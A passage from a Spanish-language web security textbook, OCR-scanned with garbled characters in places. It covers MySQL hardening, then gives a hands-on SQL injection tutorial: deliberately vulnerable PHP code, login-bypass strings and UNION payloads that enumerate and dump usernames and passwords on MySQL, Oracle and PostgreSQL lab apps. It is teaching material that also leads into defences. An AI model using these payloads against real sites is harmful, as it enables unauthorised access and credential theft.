tienen contrasefia. Si bien estos usuarios no cuentan con privilegios
de administracion, se recomienda asignarles una clave segura o
directamente eliminarlos. En caso de crear mas cuentas, no olvidemos
asignarles sus respectivas claves. Si observamos la tabla user de la
base de datos mysql, notaremos que las contrasefas de los usuarios no
aparecen en texto plano. Esto sucede porque el DBMS utiliza la funciéon
PASSWORD() para generar un hash de las claves asignadas a cada
cuenta. Hasta la versiéon 4.1 de MySQL el algoritmo utilizado generaba
un hash de 16 bytes; actualmente, es de 41 bytes, lo cual dificulta un
poco mas a un atacante la obtencion de la contrasefia original.

& @ un ] & & D-

Figura 13. Contrasefa segura asignada al usuario root
mediante la funcion PASSWORD () de MySQL.
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Control de privilegios

Como segundo paso de seguridad, debemos DEBEMOS ASIGNAR
administrar correctamente los privilegios UNA CONTRASENA
de todos los usuarios creados en MySQL.

Utilizaremos una cuenta con los permisos SEGURA AL USUARIO
minimos para que realice las consultas que ROOT CUANDO
envian los usuarios de la aplicacion, a fin de

limitar el uso de la cuenta root iUnicamente a INSTALAMOS MYSQL

tareas administrativas.

Es importante que el usuario root sea el
Unico que pueda consultar la informacion de la tabla user, ya que
contiene las contrasefias asignadas a todas las cuentas. Si bien las
claves estan en formato hash, la informacién no debe ser expuesta
innecesariamente.

Cifrar conexiones

Siempre que transmitamos datos sensibles a través de internet,
como claves privadas e informacién confidencial, debemos utilizar
una conexioén cifrada mediante SSL (Secure Sockets Layer). Asi,
evitaremos enviar nuestros datos en texto plano, dificultando la tarea
del atacante. El gestor de bases de datos MySQL soporta conexiones
SSL internas desde la versiéon 4.0.0.

Puertos y servicios

MySQL utiliza el puerto 3306 por defecto y debemos asegurarnos de
que no sea accesible desde equipos ajenos, es decir, que esté cerrado.
Para averiguar su estado podemos utilizar un escaner de puertos como
NMAP o realizar una conexién mediante NetCat a nuestro servidor

No debemos permitir que el DBMS tenga permisos para crear nuevos archivos ni acceder a directorios

con informacién sensible sobre el servidor web (por ejemplo, fetc/passwd en Linux). Si esto ocurre, le
facilitaremos la tarea al atacante y éste podria llegar a comprometer el sistema completo.
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web, a través del puerto 3306, y analizar su respuesta. Si no logramos
conectarnos, esta cerrado; de lo contrario, tendremos que bloquearlo
en nuestro firewall.

e Zenmap = (=

Scan Tools Profile Help
Target: | 20016.89.50 [»] Profile: {vl .Scan! Cancel
Command: | nmap -s5 -sV 20016.89.50

Services | iNmapOutput Ports / Hosts Topology | Host Details | Scans |

05 ¢ Host 4 Port 1 Protocol 4 State 1 Service 4 Version 4
W perfora.net (74.208. ® 20 tcp closed ftp-data
2 tcp open ftp ProFTPD

@

186-57-227-53.spee
192.168.0.100
rev-193-138-77-157
200.16.89.50

80 tcp open http
443 tep open https

TEEEE

541 tep open  osiris osiris host IDS agent

[ N N N

554 tep ocpen rsp-proxy Blue Coat risp prexy (Unlicensed)
1755 tep open  wms

[

221 tep closed ccproxy-ftp

Figura 14. NMAP es un excelente escaner
de puertos disponible en www.nmap.org.

Dentro del servidor web debemos crear un usuario con los
minimos permisos para ejecutar el servicio de MySQL. Si asi lo hacemos
evitaremos otros riesgos de seguridad en nuestro sistema en caso de
que el gestor sea comprometido en un ataque.

Inyeccion SQL en MySQL

Llegd el momento de ponernos nuevamente en la piel del atacante
y comprender una vulnerabilidad que afecta a un alto porcentaje de
aplicaciones que manejan bases de datos. Se basa en el incorrecto
filtrado de parametros provenientes del usuario al armar una consulta
que sera enviada a la base de datos. La falla es explotada mediante la
conocida técnica de inyeccién SQL.

Segun el escenario al que nos enfrentemos, mediante una inyeccion
SQL podemos alcanzar diferentes objetivos, desde saltar un sistema de
autenticacion y robar una base de datos completa, hasta apoderarnos
del servidor creando archivos nuevos en él.
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-

Figura 15. Un atacante intentara inyectar codigo SQL
a la base de datos para manipular su comportamiento.

Como atacantes, nuestro objetivo es inyectar cédigo SQL dentro

de la consulta original para alterar el funcionamiento normal de la

aplicaciéon y conseguir la informaciéon que nos interesa. Podemos

dividir este ataque en tres clases diferentes:

e InBand: es el mas frecuente; ocurre cuando inyectamos codigo SQL
y recibimos la respuesta dentro de la misma aplicaciéon vulnerable.
Es la manera mas simple de atacar, ya que podemos ver facilmente
la informacién que nos interesa extraer de la base de datos.

e Out-Of-Band: es menos frecuente y sucede cuando la aplicacion es
vulnerable pero, al realizar la inyeccion, se recibe la respuesta por
otro lado. Si la falla se encontrara en un formulario, al inyectar se
generaria la consulta y la respuesta seria enviada, por ejemplo, en
un correo electrénico.

e Inferential: en esta ocasion no hay transferencia de datos, es decir,
no se recibe respuesta a la consulta por ningiin medio. Sin embargo,
es posible obtener la informacion que nos interesa analizando el
comportamiento del servidor ante diferentes inyecciones SQL.

Los ataques de inyeccion SQL de tipo inferencial pueden suceder si la aplicacion muestra una pagina de

error personalizada que no revela ningtn tipo de informacién sobre la consulta original. Sin embargo, la apli-
cacion no deja de ser vulnerable y la falla puede explotarse mediante la técnica de Blind SQL injection (In-
yeccion SQL a ciegas). Podemos leer al respecto en www.owasp.org/index.php/Blind_SQL_Injection.
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Saltear el sistema de autenticacion

Un tipico sistema de autenticacion que solicite usuario y contraseia
podria evadirse inyectando coédigo SQL en el formulario de acceso. Para
entenderlo, analicemos el comportamiento de un cédigo vulnerable:

<?php
error_reporting(0);
include (‘conexion_a_db.php”);

$user = $_POST['usuario’];
$pass = $_POST['password'];

$query =“SELECT * FROM "usuarioss WHERE User="$user’ AND Pass='$pass’;”;
$res = mysql_query($Squery);

if(mysql_num_rows($res) != 0){
echo “Accedio correctamente”;
Yelse{
echo “Acceso denegado”’;
}

7>

Las primeras dos lineas del c6digo indican, respectivamente, que
no deben mostrarse mensajes de error y que se incluye el archivo que
conecta a la base de datos. Luego se declaran dos variables (user y pass),
que reciben su valor por parte del usuario a través del método POST (los
datos se ingresaran mediante campos de texto). Dentro de otra variable,
llamada query, es definida la consulta que se enviara a la base de datos:
buscar dentro de la tabla usuarios el registro donde el nombre de usuario
y la contrasefia coincidan con los ingresados en el formulario. Finalmente,
se ejecuta la consulta SQL y se llega a una sentencia de condicion que
analizara la respuesta de la base: si el resultado no es igual a cero, existe
un usuario con esas credenciales dentro de la base de datos, por lo tanto
la aplicacién permitira el acceso; de lo contrario, no lo hara.

Analicemos ahora el c6digo desde el punto de vista de la seguridad.
En primer lugar, la consulta se termina de armar utilizando dos
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variables cuyo valor es asignado por el usuario de la aplicacién, sin
ningun tipo de validacién previa (es decir, absolutamente cualquier
valor que se asigne a esas variables serd tomado como valido para
formar la consulta). En segundo lugar, la aplicacién permite el acceso
considerando Ginicamente que la respuesta sea mayor a cero (la
funcién mysql_num_rows() devuelve el nimero de registros que obtuvo
la consulta SQL). Si los resultados son superiores a cero, significa que el
usuario y contrasefia ingresados se encuentran en

la base de datos, por lo tanto, son validos.

Considerando lo dicho, podemos inyectar UNA INYECCION
coédigo SQL en las variables user y pass. ;Se podra SQL SE BASA EN
modificar la consulta original de modo tal que
inevitablemente devuelva un valor mayor a cero? EL INCORRECTO
Como atacantes, debemos aprovechar la entrada FILTRADO DE
de datos de la aplicacién para armar una consulta 3
que responda si o si con algin valor que nos PARAMETROS

conceda el acceso, aunque no conozcamos las
credenciales validas.

Utilizaremos el operador OR para afadir a la consulta SQL original
una condicion que inevitablemente sea verdadera, de modo que
la base de datos nos responda con un nimero mayor a cero. Por
ejemplo, podemos indicarle a la aplicacién que el usuario es nobody’
OR‘1’="1: dado que 1 es igual a 1, obtendremos como respuesta un
valor verdadero (superior a cero). Para entenderlo mejor, veamos
como quedaria la consulta:

$user = nolose’ OR ‘1’="1
$pass = tampocose’ OR ‘1’="1

SELECT * FROM “usuarioss WHERE User="nolose’ OR ‘1’="1’ AND
Pass="tampocose’OR ‘1’="1’

Si bien el usuario nolose no existe dentro de la tabla de usuarios,
la condicion de que 1 sea igual 1 se cumplira inevitablemente. De este
modo, obtenemos un valor mayor a cero y la aplicaciéon vulnerable nos
dara el acceso sin ingresar usuario y contrasefia validos. Puede darse,
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incluso, el caso de que el primer registro de la tabla corresponda
al administrador y la aplicaciéon nos autentique como tal.

& Miscellaneous~ # Outliner ¢ Resize A Tools~ B View Sourcer (A Options~

Formulario de acceso

Ingrese su usuario y contrasefia

nolose' OR '1'="1
ssesssssssssssssssee

I Acceder \

Accedid correctamente

Figura 16. Saltamos el sistema de autenticacion
inyectando un codigo SQL que modificara la consulta original,
generando una respuesta inevitablemente verdadera.

La inyeccion SQL que realicemos puede variar: solo necesitamos
lograr que la base de datos responda con un valor superior a cero,
lo que significa, para la aplicacién vulnerable, que el usuario y la
contrasefa ingresados realmente existen. Algunos ejemplos de
inyecciones de este tipo son: ‘OR‘X’=‘x, ‘OR‘0’=‘0y ‘ OR“="*.

En un ataque real no podremos ver el coédigo fuente de la aplicacion
—por lo cual no sabremos bien como esta formada la consulta original-
pero podemos descubrirlo a prueba y error. En algunos casos, sera
necesario afiadir un usuario que exista e inyectar el codigo en el campo
de contrasefia para autenticarnos sin conocer su clave. En otros, en cambio,
no es preciso realizar la inyeccién a los dos campos, sino que puede bastar

444

Existen otros métodos para saltar sistemas de autenticacion, que no utilizan inyecciones de codigo SQL en

los campos del formulario de acceso. Podemos leer al respecto en la siguiente documentacion de OWASP:
www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OWASP-AT-005).
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con inyectar solamente a uno. También, dependiendo de la estructura
de la consulta original, sera necesario quitar o agregar comillas simples.

Union de consultas

Dentro del lenguaje SQL contamos con el operador UNION, que se
utiliza para combinar las respuestas de mas de una consulta SELECT en
un unico conjunto de resultados. Dicho de otro modo, mediante UNION
podemos unir a la consulta original otra peticién creada por nosotros.
Debemos tener en cuenta que este operador tiene sus particularidades:
requiere que tanto la primera consulta como la segunda tengan la
misma estructura y consulten el mismo niimero de columnas, que a
su vez, deberan tener el mismo tipo de dato. Veamos un ejemplo de
consulta SQL utilizando el operador UNION:

SELECT columnal,columna2 FROM tahlal UNION SELECT
columnal,columna2 FROM tabla2

Para aclarar las dudas, vamos a programar una aplicacién vulnerable
a inyeccion SQL y la explotaremos utilizando este operador:

<?php
include(‘*conexion_a_db.php’);

$id =$_GET[id'];
$query = mysql_query(“"SELECT id, Nombre, Precio FROM “productos’ WHERE id=$id");
while ($row = mysql_fetch_assoc ($query)) {

print “*Nombre: “*.$row[“Nombre” 1. “<br />";
print “Precio: “*.$row[“Precio” 1. “<br /> *;

mysql_close();
7>
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Este c6digo es de una tipica aplicacién

EL OPERADOR web comercial que muestra informacion de sus
UNION COMBINA productos, almacenados en una base de datos.
La consulta SQL buscara en la tabla productos
LAS RESPUESTAS las columnas id, nombre y precio del registro
DE MAS DE UNA donde el identificador equivalga al ingresado
por el usuario en la variable id desde la URL.
CONSULTA Guardamos el cédigo vulnerable en el archivo

productos.php y accedemos desde el navegador

pasandole un id de parametro: productoes.php?id=1.
El resultado sera el nombre y el precio del producto con identificador
nimero uno en la tabla de productos.

Intentemos unir a la consulta original otra creada por nosotros
mediante el operador UNION. Simulando un ataque real, donde no
conocemos el cédigo de la aplicacién vulnerable, el primer paso
sera averiguar la estructura de la consulta original para crear una
peticion correcta:

productos.php?id=1 UNION SELECT 1

Mostrara un error porque la segunda peticion esta consultando
a una sola columna, cuando en realidad la primera solicita tres.
Debido a que, supuestamente, desconocemos esto, tendremos
que ir incrementando el nimero de columnas hasta que el error
desaparezca. En este caso, dado que la primera consulta solicita
tres columnas (id, nombre y precio), el error desaparece cuando
creamos la segunda consulta solicitando también tres columnas.

productos.php?id=-1 UNION SELECT 1,2,3

Le pasamos a la primera consulta un identificador -1, para que
no muestre informacién que no interesa.

En lugar de un error, visualizaremos nimeros listos para ser
inyectados, tal como se observa en la Figura 17.
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{_iProductos 3
€ | @ localhost/WebsVulnerables/SQL/productos.phpid=-1 UNIOM SELECT 1,2,3--

@ Disable~ & Cookiesr » Css u Forms~ (G Images~ @ Information~ [E Miscellaneous~ /’? Qutline~ J? Resize~ X‘Tcals' (B View Sourcer [l Options~

PRODUCTOS

Nombre: 2

Precio: 3

Figura 17. Descubrimos la estructura de la consulta original
y creamos otra igual, unida a ella mediante el operador UNION.

Obtencion de datos utiles

Una vez logrado el primer paso, tenemos armada correctamente
nuestra consulta. Es hora de atacar y empezar a conseguir datos utiles
sobre el servidor, el DBMS y la aplicacién web, mediante la realizacion
de inyecciones SQL maliciosas. Deberemos seleccionar una de las
columnas para solicitar datos (en este caso, la dos o la tres, ya que la
uno no se muestra en pantalla).

Realizaremos la primera inyeccién SQL consultando la version de
MySQL que utiliza el servidor:

productos.php?id=-1 UNION SELECT 1,version(),3

Puede suceder que la consulta original de la aplicacién vulnerable esté trayendo resultados de una gran

cantidad de columnas. En ese caso, cuando intentemos unirle otra peticion creada por nosotros, tendre-
mos que ser pacientes a la hora de descubrir el nimero exacto de columnas. Posiblemente nos quede
una inyeccion bastante larga: UNION SELECT 1,2,3,4,5(...),28,29....
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Como hemos elegido el nimero dos, que corresponde a la columna
nombre, al enviar esa consulta visualizaremos la version de MySQL

en el lugar donde apareceria el nombre del producto. Podria ser algo
similar a: 5.5.20-log.

De la misma manera, podemos averiguar otros datos interesantes
sobre el servidor y el DBMS:

e database() nos devolvera el nombre de la base de datos que esta
siendo utilizada por la aplicacién vulnerable:

productos.php?id=-1 UNION SELECT 1,database(),3

e current_user() nos devuelve el nombre de usuario y del host; también
podemos probar con user():

productos.php?id=-1 UNION SELECT 1,current_user(),3

e @@datadir devuelve la ruta completa donde se encuentra alojada la
base de datos:

productos.php?id=-1 UNION SELECT 1,@@datadir,3

444

En algunos casos, para que una inyeccion SQL se ejecute de manera correcta es necesario agregar
un caracter de comentario al final. Ese caracter, que indica el comienzo de un comentario, puede
variar segln el gestor de bases de datos utilizado. El DBMS MySQL soporta los siguientes caracte-
res: “#" (numeral) “-- “ (dos guiones medios seguidos de un espacio en blanco) y, por dltimg, “/*”
(barra y asterisco).
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i_.i Productos |+‘
6 localhost/WebsVulnerables/SQL/productos.phplid=-1 UNI SELECT 1,current_user(),3

@ Disable- & Cookiesw »# €55+ [ Forms- (@ Images~ @ Information- [ Miscellaneous= / Outiiner ¢ Resizes J& Tools* Bl View Source- ([l Options~

PRODUCTOS

Nombre: root@localhost

Precio: 3

Figura 18. Nombre de usuario y host
obtenidos mediante una inyeccion SQL.

Bases de datos al descubierto

Es hora de avanzar un poco mas en materia de ataques y realizar

inyecciones SQL con mayor nivel de complejidad.

Ya mencionamos dos bases de datos que pertenecen al DBMS

MySQL: information_schema y mysql. Debido a que

la primera de ellas contiene informaciéon sobre

la estructura de todas las bases del servidor, nos

concentraremos en realizar consultas que extraigan

de sus tablas aquello que necesitamos saber.
Empecemos por descubrir todas las bases

alojadas en el servidor web. La tabla schemata

(de la DB information_schema) contiene una columna

llamada schema_name, que almacena los nombres

de todas las bases de datos. Creamos, entonces, la

siguiente consulta:

ES POSIBLE EXTRAER
INFORMACION SOBRE
LA ESTRUCTURA DE
TODAS LAS BASES
DEL SERVIDOR

-1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata

Obtuvimos lo que necesitabamos: los nombres de cada base de datos
alojada en el servidor, incluyendo a information_schema y mysql. Muchas
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veces buscamos algo que no se encuentra en la base utilizada por la
aplicacién sino en otra, por lo cual es muy util consultar las existentes.

Q) Daable K Coohier Z 5% [ Forms G Iruger ) Intesmaticnr [ Miscelineous o Outline o Resaer X Tools: [l View Sowce ), Options®

PRODUCTOS

MNombre: information_schema
Precio: 3
Nombre: dvwa
Precio: 3
Mombre: gde
Precio: 3
Nombre: ineof
Precio: 3
Nombre: mysgl
Precio: 3
Nombre: performance_schema

Precio: 3

Figura 19. Obtencién de los nombres de las bases
de datos que se alojan en el servidor web.

Tengamos presente que puede suceder que el usuario de MySQL
que realice las consultas tenga permisos para acceder inicamente a
informacion de la base de datos de la aplicacion, y no a las demas.

Buscar tablas interesantes

Como atacantes no nos interesa en lo mas minimo la tabla de
productos, asi que realizaremos una consulta que muestre cuales son
las demas tablas, con la esperanza de encontrar alguna interesante.

La tabla tables de information_schema tiene una columna
denominada table_name, que almacena los nombres de las tablas de
todas las bases de datos. Entonces, podemos armar dos consultas
diferentes que sirven por igual:

productos.php?id=-1 UNION SELECT 1,table_name,3 FROM
information_schema.tahles
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Se traeran absolutamente todas las tablas, de todas las bases de
datos del servidor, en las que el usuario tenga permisos de acceso
(incluyendo information_schema y mysql). También podriamos ser mas
prolijos e indicar una condicion mediante la clausula WHERE para
obtener las tablas de una base especifica:

productos.php?id=-1 UNION SELECT 1,table_name,3 FROM
information_schema.tables WHERE table_schema = ‘test’

“Taclax

Productos +

&~

D Oiabiler K Coobies # (55~ [J Formes & Imager @) Information- [l Miscelianecuss o Outine: & Resize )% Took Il View Sources 4, Options~

PRODUCTOS

Nombre: paises
Precio: 3
Nombre: productos
Precio: 3
Nombre: usuarios

Precio: 3

Figura 20. Descubrimos las tablas de la base
de datos cuya informacién nos interesa.

En este caso, encontramos una tabla llamada usuarios
que probablemente contenga las credenciales de acceso para la
administracion del sitio. En aplicaciones reales podemos encontrar
mas tablas con informacién interesante.

Acceso a columnas

Poco a poco, nos acercamos a lo que queremos descubrir. Ahora
nos toca averiguar cuales son las columnas de la tabla de usuarios.
Consultaremos de nuevo a information_schema, especificamente a la
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columna column_name de la tabla coelumns. Si la informacién que nos
interesa se encuentra dentro de la base utilizada por la aplicaciéon
vulnerable, ejecutaremos la siguiente consulta:

productos.php?id=-1 UNION SELECT 1,column_name,3 FROM
information_schema.columns WHERE table_name =‘usuarios’

En el caso de que nos interese la tabla de otra base de datos
tendremos que hacer uso del operador AND para indicar su nombre
dentro de la condicién:

productos.php?id=-1 UNION SELECT 1,column_name,3 FROM information_
schema.columns WHERE tahle_name =‘usuarios’ AND table_schema = ‘test’

4 -
Prisductas #

€ ccathest [ 1]

@ Duastie B Cosboesr # O35 [ Forme 4 Images ) Infommanan [ Micetaneour Mt Reszes X Tooks B View Sources |f Optans

PRODUCTOS

Nombre: id

Nombre: Apellido

Precio: 3

Figura 21. Nos acercamos aun mas a la informacién que buscamos,
descubriendo las columnas de la tabla usuarios.
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La consulta se vuelve bastante compleja, pero si
aprendemos la sintaxis de SQL resultara facil armar
cada una. Tomemos nota de los nombres de las
columnas cuya informacién queremos ver, ya que
utilizaremos tales datos en las proximas consultas.

Lectura de registros

Alcanzamos el paso final: leer los registros que
nos interesan. Si bien dentro de la tabla usuarios

=I5 273

EN UNA CONSULTA
COMPLEJA PODEMOS
ACCEDERALOS
DATOS DE USUARIOQOS
Y SUS CONTRASENAS

tenemos un total de cinco columnas, basta con conocer los datos
de las columnas User y Pass. Hay varias formas de armar la consulta
para extraer esos registros: una podria ser utilizar la columna dos para

mostrar los datos de User y la columna tres para los de Pass; otra es usar

una funcién de concatenacién y mostrar ambos datos en una misma

columna. Intentemos de ambas maneras para entender sus diferencias.
Comenzaremos con el primer método, solicitando la informacién de

User y Pass en las columnas dos y tres, respectivamente:

productos.php?id=-1 UNION SELECT 1,User,Pass FROM test.usuarios

El nombre de usuario ocupara el nombre del producto y su
contrasefia aparecera en lugar del precio. Podemos encontrarnos ante

un escenario donde veamos el resultado de la inyecciéon en una sola
columna; en ese caso, haremos uso de la funcién concat para realizar

una concatenacion de los datos:

Primero tendremos que ser persuasivos y descubrir si la aplicacién web esta solicitando informacion a

una base de datos. Luego, buscar una entrada donde podamos inyectar codigo en la consulta original.

La prueba clasica es empezar inyectando una comilla simple () o punto y coma (;), para generar un error

de sintaxis en la consulta SQL original.
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-1 UNION SELECT 1,concat(User,:’,Pass),3 FROM test.usuarios

Utilizamos la columna dos para inyectar la concatenacion de User y
Pass. De este modo, visualizaremos el usuario y su contrasefia separados
por dos puntos (:) en el lugar donde apareceria el nombre del producto.

S &

LS Iecathest

@ Disables & Cockies # (55 [ Forms~ (@ Images ) Information+ [ Miscelianecus " Outines /' Resize & Tools ll View Sowrce ()] Options

PRODUCTOS

MNombre: Admin

Precio: adminl2mil

Nombre: CapitanPrice

Precio: Tobi75

Nombre: Kii

Precio: 111110

Nombre: MiQi

Precio: Miic2012

Figura 22. Logramos el objetivo: obtener los usuarios
de la aplicacién web, con sus respectivas contrasenas.

En este escenario de practica, los usuarios

ORACLE DATABASE almacenaron las contrasefias en texto plano;
Y POSTGRESQL en una situacién real, probablemente no sea asi.
, Las claves pueden estar representadas en formato
SON TAMBIEN hash mediante un algoritmo como MD5, SHA1
VULNERABLES A o cualquier otro de este tipo, por lo cual habra
que distinguir cual es el algoritmo empleado y
INYECCIONES SQL usar alguna herramienta o servicio online (como

www.onlinehashcrack.com) para descubrir la
contrasefia original.
Finalmente, ingresamos a la administracion con las credenciales
robadas y nos apoderamos de la base de datos, la aplicacién web vy,
dependiendo de nuestra habilidad, del servidor web completo.
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Inyeccion SQL en Oracle
Database y PostgreSQL

La técnica de inyeccion SQL afecta a todos los DBMS que utilicen
SQL para definir y manipular la informaciéon de sus bases de datos.

Oracle Database y PostgreSQL son gestores que utilizan este
lenguaje. Una aplicaciéon vulnerable a inyecciones SQL que utilice
cualquiera de estos DBMS podra ser explotada, permitiendo a un hacker
acceder a la administracion sin conocer credenciales validas, o explorar
toda la base de datos en busca de informacion que le resulte util.

La estructura de una inyeccién SQL puede variar segtin el DBMS
que utilice la aplicacién vulnerable. Cuando aprendimos a realizar
inyecciones a MySQL, averiguamos la informacién que nos interesaba
consultando a information_schema, una base creada por defecto en
MySQL, que por lo general no esta presente en otros gestores (como
Oracle Database). Si realizamos las inyecciones aprendidas sobre una
aplicaciéon que utilice un DBMS diferente a MySQL, posiblemente no
funcionen, ya que cada gestor crea sus propias bases de datos por
defecto. Conozcamos cudles son estas bases en otros gestores para
realizar las inyecciones SQL de forma correcta.

Oracle Database en peligro

En primer lugar desarrollaremos una aplicaciéon vulnerable a
inyecciones SQL muy similar a la que utilizamos con MySQL, pero
donde el DBMS sera Oracle Database, por lo que las funciones PHP
seran diferentes.

<?php
$conx = oci_connect(“'system”, “password”, “localhost/XE");

$id =$_GETCid'];

$query = oci_parse($conx, “select nombre from productos where id = $id”);
oci_execute($query);
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while ($row = oci_fetch_assoc ($query)) {

print “Nombre: “.$row["NOMBRE"1." <br />";

oci_close($conx);
7>

En un principio se declara la conexién a la base de datos y
una variable llamada id, que recibe su valor a través de la barra de
direcciones. La consulta SQL utiliza el comando SELECT para mostrar
el nombre del producto donde el identificador (id) dentro de la tabla
sea equivalente al ingresado por el usuario. Finalmente, imprime el
dato en pantalla y cierra la conexion con la base de datos.

La aplicacion es claramente vulnerable a inyecciones SQL. La
variable id no posee ningin tipo de validacién: lo que ingrese el
usuario formara la consulta final y sera ejecutada por el gestor
(en este caso, Oracle Database).

Comencemos con las inyecciones SQL. En este caso, obtenemos el
nombre de la base de datos utilizada por la aplicacién vulnerable:

productos_oracle.php?id=-1 UNION SELECT global_name FROM global_name

Ejemplo de resultado: XE (base de datos por defecto). Obtenemos la
version de Oracle Database instalada en el servidor web:

productos_oracle.php?id=-1 UNION SELECT version FROM v$instance

Ejemplo de resultado: 10.2.0.1.0. Averiguamos el nombre del servidor web:

productos_oracle.php?id=-1 UNION SELECT UTL_INADDR.get_host_name
FROM dual
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Ejemplo de resultado: SERVIDORWEB-PC. Conseguimos el nombre
de usuario de la base de datos utilizado por la aplicacion vulnerable:

productos_oracle.php?id=-1 UNION SELECT user FROM dual

Ejemplo de resultado: SYSTEM.

Productas |55
“~ localhost

@ Dissble- A Cookies- # €55+ [J] Formy [l Images ) Information [l Mucelineous- # Outime & Resizes J Took- [l View Source= |4 Options*

PRODUCTOS - ORACLE

Nombre: SYSTEM

Figura 23. En esta figura vemos el nombre
de usuario utilizado por la aplicacién vulnerable.

Una vez que obtuvimos informacion interesante sobre el servidor
y la base de datos, procedemos a explorar las tablas que contiene:

productos_oracle.php?id=-1 UNION SELECT table_name FROM all_tables

O, siendo un poco mas precisos, podemos ver solamente las tablas
a las que accede el usuario utilizado por la aplicacién vulnerable:

productos_oracle.php?id=-1 UNION SELECT table_name FROM all_tables
WHERE owner ='SYSTEM’
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En este caso obtendremos como resultado las tablas de usuarios y
productos. Averigiiemos cudles son las columnas de la tabla de usuarios:

productos_oracle.php?id=-1 UNION SELECT column_name FROM all_tab_
columns WHERE table_name ='*USUARIQS’

Es importante que el nombre de la tabla esté escrito en letras
mayusculas, ya que de lo contrario no veremos resultados.

refor

i.; Productos ‘ +

& localhost/productos_cracle. php?id=-1 UNION SELECT column_name FROM all_tab_columns WHERE table_name = "USUARIOS

3 Disable &y Cookies® 2 S5 u Forms- [ Images- @ Information~ Q Miscellaneous~ ,/” Qutline~ .y) Resizer K Tools~ [ View Sourcer |[l] Options~

PRODUCTOS - ORACLE

Nombre: APELLIDO
Nombre: ID
Nombre: NOMBRE
Nombre: PASSWD

Nombre: USUARIO

Figura 24. Mediante esta inyeccion SQL se obtienen las columnas
de la tabla de usuarios, ordenadas alfabéticamente.

Finalmente, obtenemos todos los registros de las columnas que nos
interesan, en este caso usuario y passwd:

productos_oracle.php?id=-1 UNION SELECT concat(usuario,passwd) FROM
usuarios

Puede que estas inyecciones resulten un poco extrainas si las
comparamos con las que realizamos al gestor MySQL. De todos modos,
cuanto mas sepamos del funcionamiento interno de Oracle Database
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mas facil nos resultara llevar a la practica inyecciones SQL sobre
las aplicaciones vulnerables que lo utilicen.

PostgreSQL

Al igual que con Oracle Database, desarrollaremos la aplicacion
vulnerable a inyecciones SQL para realizar nuestras practicas:

<?php

$conx = pg_connect(“host=localhost port=5432
dbname=Test user=postgres password=pass”);
$id=$_GET[id];

$query = pg_query($conx, “select nombre from
productos where id = $id”);

while ($row = pg_fetch_assoc ($query)) {

print “Nombre: “*.$row[“nombre” 1. “<br/>";
}
pg_close($conx);
7>

Mediante este script PHP nos conectamos a la base de datos Test,
donde han sido creadas las tablas necesarias para realizar la practica.
La consulta SQL sigue siendo la que utilizamos anteriormente:
solicitamos el nombre del producto cuyo id equivalga al ingresado
por el usuario, a través de la URL. Obtenemos la versiéon de PostgreSQL
instalada en el servidor web:

productos_postgre.php?id=-1 UNION SELECT version()

Ejemplo de resultado: PostgreSQL 9.2.4. Averiguamos el nombre de la
base de datos utilizada por la aplicaciéon vulnerable:
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productos_postgre.php?id=-1 UNION SELECT current_database()

Ejemplo de resultado: Test. Obtenemos los nombres de todos los
usuarios creados en el DBMS:

productos_postgre.php?id=-1 UNION SELECT usename FROM pg_user

También podemos ver inicamente el que esta siendo utilizado por la
aplicacion vulnerable:

productos_postgre.php?id=-1 UNION SELECT current_user

Ejemplo de resultado: Postgres.

Progucton L+
&~ lacathen

@ Diabler L Cookess # (55 [J Forms- @ Imagess i Information- [ Miscellanecus- o+ Outline & Resoer & Tools [l View Scurce ||, Options=
PRODUCTOS - PostgreSQL

Nombre: postgres

Figura 25. Nombre de usuario utilizado
por la aplicacion vulnerable a inyecciones SQL.

Continuamos averiguando cuales son las bases de datos que existen
dentro del servidor:
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productos_postgre.php?id=-1 UNION SELECT datname FROM pg_database

Como resultado veremos las bases de datos template0 y templatel,
que vienen por defecto en PostgreSQL. Luego podemos observar los
nombres de las que hayan sido creadas por el administrador.

Es el turno de ver las tablas que existen dentro de la base. La forma de
lograrlo resultara mas familiar, ya que PostgreSQL, al igual que MySQL,
cuenta con la base information_schema. Procedamos a obtener las tablas:

productos_postgre.php?id=-1 UNION SELECT table_name FROM information_
schema.tables

Dentro del resultado obtenido, buscaremos la tabla de usuarios y
averiguaremos cuales son sus columnas:

productos_postgre.php?id=-1 UNION SELECT column_name FROM information_
schema.columns WHERE table_name =‘usuarios’

{__: Productos | +

& localhost/productos_postgre,phplid=-1 UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'usu

@ Disable~ L Cookies /# (CS5- U Forms~ [&| Images~ 6 Information™ L:.l Miscellaneous™ ,"’ Outliner ,,5\ Resize~ KTco\s’ B View Sourcer |[I| Options~

PRODUCTOS - PostgreSQL

Nombre: nombre

Nombre: usuario

Nombre: apellido
Nombre: id

Nombre: passwd

Figura 26. Las columnas de la tabla de usuarios son
id, nombre, apellido, usuario y passwd.
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El paso final es obtener los registros que existan dentro de la tabla
de usuarios en las columnas de usuario y passwd, que son las que
nos interesan:

productos_postgre.php?id=-1 UNION SELECT concat(usuario,’:’,passwd)
FROM usuarios

De este modo, obtendremos los nombres de usuario con sus
respectivas contrasefias separados por dos puntos (:) en el lugar del
nombre del producto. Por ejemplo:

Nombre: Admin:admin_postgre
Nombre: Kii:111110_postgre
Nombre: MiQi:Miic_postgre

Como conclusion, nuestras inyecciones SQL deberan adaptarse al
DBMS que esté utilizando la aplicaciéon vulnerable. Las bases y tablas
instaladas por defecto no siempre son las mismas, pueden llamarse
de manera distinta y/o tener otra estructura de datos.

Proteccion contra
inyeccion SQL

Comprendido el ataque, apliquemos la defensa. Luego de instalar
MySQL explicamos varias medidas de seguridad que deben ser
implementadas siempre que se utilice este gestor. Cada DBMS tiene
su propia documentacién de seguridad, que podemos consultar en
los archivos de ayuda o sitios web oficiales. Siempre es necesario
que aseguremos tanto el servidor web y de bases de datos como
el cédigo de la aplicacion.

En esta secci6on aprenderemos a defendernos contra ataques
de inyeccion SQL mediante el desarrollo de c6digo seguro y otras
protecciones dentro de la aplicacion, y en el préximo capitulo veremos
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las medidas de seguridad que podemos implementar para proteger
el interior del servidor web.

Desarrollo de codigo seguro

Debido a que este es el altimo capitulo que dedicaremos a
la proteccion de aplicaciones desde su cédigo fuente, haremos
una mencion especial a los proyectos de la fundacion OWASP y sus
documentos sobre las vulnerabilidades que afectan a las aplicaciones
web, ya que son de gran ayuda para desarrollar aplicaciones seguras.
Ademas del Top Ten OWASP, un ranking de diez posiciones con las
vulnerabilidades mas explotadas durante el afio, OWASP ofrece otros
materiales tiles y gratuitos:

